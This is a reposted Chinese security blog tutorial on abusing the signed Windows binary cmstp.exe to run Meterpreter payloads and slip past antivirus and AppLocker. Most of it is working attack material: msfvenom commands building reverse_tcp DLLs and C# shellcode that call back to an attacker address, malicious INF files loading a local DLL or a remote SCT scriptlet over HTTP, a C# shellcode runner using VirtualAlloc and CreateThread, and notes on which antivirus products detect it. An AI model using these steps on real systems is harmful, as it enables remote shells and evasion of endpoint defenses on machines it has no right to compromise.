转载自微信公众号:Tide安全团队 作者:重剑无锋
声明:文中所涉及的技术、思路和工具仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等目的,否则后果自行承担! 免杀能力一览表几点说明: 1、表中标识 √ 说明相应杀毒软件未检测出病毒,也就是代表了Bypass。 2、为了更好的对比效果,大部分测试payload均使用msf的windows/meterperter/reverse_tcp模块生成。 3、由于本机测试时只是安装了360全家桶和火绒,所以默认情况下360和火绒杀毒情况指的是静态+动态查杀。360杀毒版本5.0.0.8160(2020.01.01),火绒版本5.0.34.16(2020.01.01),360安全卫士12.0.0.2002(2020.01.01)。 4、其他杀软的检测指标是在virustotal.com(简称VT)上在线查杀,所以可能只是代表了静态查杀能力,数据仅供参考,不足以作为杀软查杀能力或免杀能力的判断指标。 5、完全不必要苛求一种免杀技术能bypass所有杀软,这样的技术肯定是有的,只是没被公开,一旦公开第二天就能被杀了,其实我们只要能bypass目标主机上的杀软就足够了。 6、由于白名单程序加载payload的免杀测试需要杀软的行为检测才合理,静态查杀payload或者查杀白名单程序都没有任何意义,所以这里对白名单程序的免杀效果不做评判。
一、Cmstp.exe介绍Microsoft连接管理器配置文件安装程序(CMSTP.exe)是用于安装连接管理器服务配置文件的命令行程序。CMSTP.exe接受安装信息文件(INF)作为参数,并安装用于远程访问连接的服务配置文件。 攻击者可能会使用CMSTP.exe调用恶意的INF文件。与Regsvr32 相似,CMSTP.exe可能被利用从远程服务器加载和执行DLL或COM脚本(SCT)。由于CMSTP.exe是合法的,经过签名的Microsoft应用程序,因此该执行过程也可以绕过AppLocker和其他白名单防御。 在windows中文件路径
- msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.211.55.2 LPORT=3333 -f dll -o test.dll
复制代码配置inf文件,其中字段RegisterOCXSection需要包含恶意DLL文件的本地路径或远程执行的WebDAV位置。这样就能从本地或Webdav中加载DLL文件。完整代码如下。 - [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [DefaultInstall_SingleUser]
- RegisterOCXs=RegisterOCXSection
- [RegisterOCXSection]
- C:\test\test.dll
- [Strings]
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ServiceName="tidesec"
- ShortSvcName="tidesec"
复制代码在msf中监听 在测试机器执行 - cmstp.exe /ni /s cmstp.inf
复制代码msf中可正常上线
打开杀软测试,发现360会对行为预警。关闭360后火绒并没有反应。
因为dll文件是msf原生态的肯定被杀很严重,所以这里测dll的免杀就没什么意义了。
2.2 直接执行cmd命令还可以将上面代码中的RegisterOCXSection 换成RunPreSetupCommandsSection,在此项下可以直接执行命令程序,例如: - [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [DefaultInstall_SingleUser]
- RegisterOCXs=RegisterOCXSection
- RunPreSetupCommands=RunPreSetupCommandsSection
- [RunPreSetupCommandsSection]
- c:\windows\system32\calc.exe
- [Strings]
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ServiceName="tidesec"
- ShortSvcName="tidesec"
复制代码 执行命令,可触发计算器程序。
2.3 加载执行sct文件
除了DLL文件外,cmstp还能够运行SCT文件。 首先需要生成sct文件,这个和《远控免杀专题(38)-白名单Rundll32.exe执行payload》文章中的“3.1 远程加载SCT文件”基本一致。我这就简单描述一下。 1、首先用msfvenom生成基于csharp的shellcode,我这是生成的x64的,注意这个要和后面rundll32的版本相一致。 - msfvenom -p windows/x64/meterpreter/reverse_tcp -a x64 -f csharp -b "\x00\xff" LHOST=10.211.55.2 LPORT=3333 -o shell_x64.csharp
复制代码2、然后在vs2017中创建C#的Console工程,.Net版本建议2.0,这样兼容性好一些,如果选了net 4.0。其他电脑上没有装4.0的话可能就没法运行了。 代码如下,把shell_x64.csharp内容放到相应MsfPayload位置。
- using System;
- using System.Threading;
- using System.Runtime.InteropServices;
- namespace MSFWrapper
- {
- public class Program
- {
- public Program()
- {
- RunMSF();
- }
- public static void RunMSF()
- {
- byte[] MsfPayload = {
- 0xbb,---shellcode here---0x1e };
- IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
- Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
- CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
- Thread.Sleep(2000);
- }
- public static void Main()
- {
- }
- [DllImport("kernel32.dll")]
- public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
- [DllImport("kernel32.dll")]
- public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
- }
- }
复制代码
修改一下项目属性,设置启动对象为MSFWrapper,编译生成exe,我这生成的就是默认的ConsoleApp2.exe 3、将exe转换为脚本文件
将上面生成的ConsoleApp2.exe复制到DotNetToJScript目录下,执行命令生成msf_x86.sct文件 - DotNetToJScript.exe -m -o=msf_x64.sct -c=MSFWrapper.Program -v 4 -d ConsoleApp2.exe
复制代码4、这时需要对sct文件做一些处理,把头部和尾部替换成下面的JScript代码 - <?XML version="1.0"?>
- <scriptlet>
- <registration
- progid="PoC"
- classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
- <script language="JScript">
- <![CDATA[
- var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
-
- ]]>
- </script>
- </registration>
- </scriptlet>
复制代码
原始是这样的 替换后为这样的
注意尾部代码也要替换。
在msf中监听 然后配置inf文件,和上面的类似,只是UnRegisterOCXSection需要包含scriptlet的URL。最终的INF文件需要包含以下内容: - [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [DefaultInstall_SingleUser]
- UnRegisterOCXs=UnRegisterOCXSection
- [UnRegisterOCXSection]
- %11%\scrobj.dll,NI,http://10.211.55.2/msf_x64.sct
- [Strings]
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ServiceName="tidesec"
- ShortSvcName="tidesec"
复制代码
然后执行
msf可正常上线
打开杀软进行测试,依旧360行为预警
文件msf_x64.sct在virustotal.com上查杀率为21/57。
2.4 下载并解析远程inf文件
网上提到cmstp还可以加载web服务器远程配置文件,命令如下。 - cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
复制代码不过我在多种系统进行多次尝试都没成功,会提示一个下面的错误。 cmstp加载远程inf应该只能从Webdav服务器加载。
比如cmstp.inf在内网另一台服务器上,路径为\\10.211.55.28\test\cmstp.inf,内如如下。 - [version]
- Signature=$chicago$
- AdvancedINF=2.5
- [DefaultInstall_SingleUser]
- UnRegisterOCXs=UnRegisterOCXSection
- [UnRegisterOCXSection]
- %11%\scrobj.dll,NI,http://10.211.55.2/calc64.sct
- [Strings]
- AppAct = "SOFTWARE\Microsoft\Connection Manager"
- ServiceName="Yay"
- ShortSvcName="Yay"
复制代码
在10.211.55.2上的calc64.sct内容如下: - <?XML version="1.0"?>
- <scriptlet>
- <registration
- progid="PoC"
- classid="{F0001111-0000-0000-0000-0000FEEDACDC}" > <script language="JScript">
- <![CDATA[
-
- var r = new ActiveXObject("WScript.Shell").Run("calc.exe");
-
- ]]>
- </script>
- </registration>
- </scriptlet>
复制代码
执行cmstp.exe /ni /s \\10.211.55.28\test\cmstp.inf,可触发计算器。 三、参考资料
|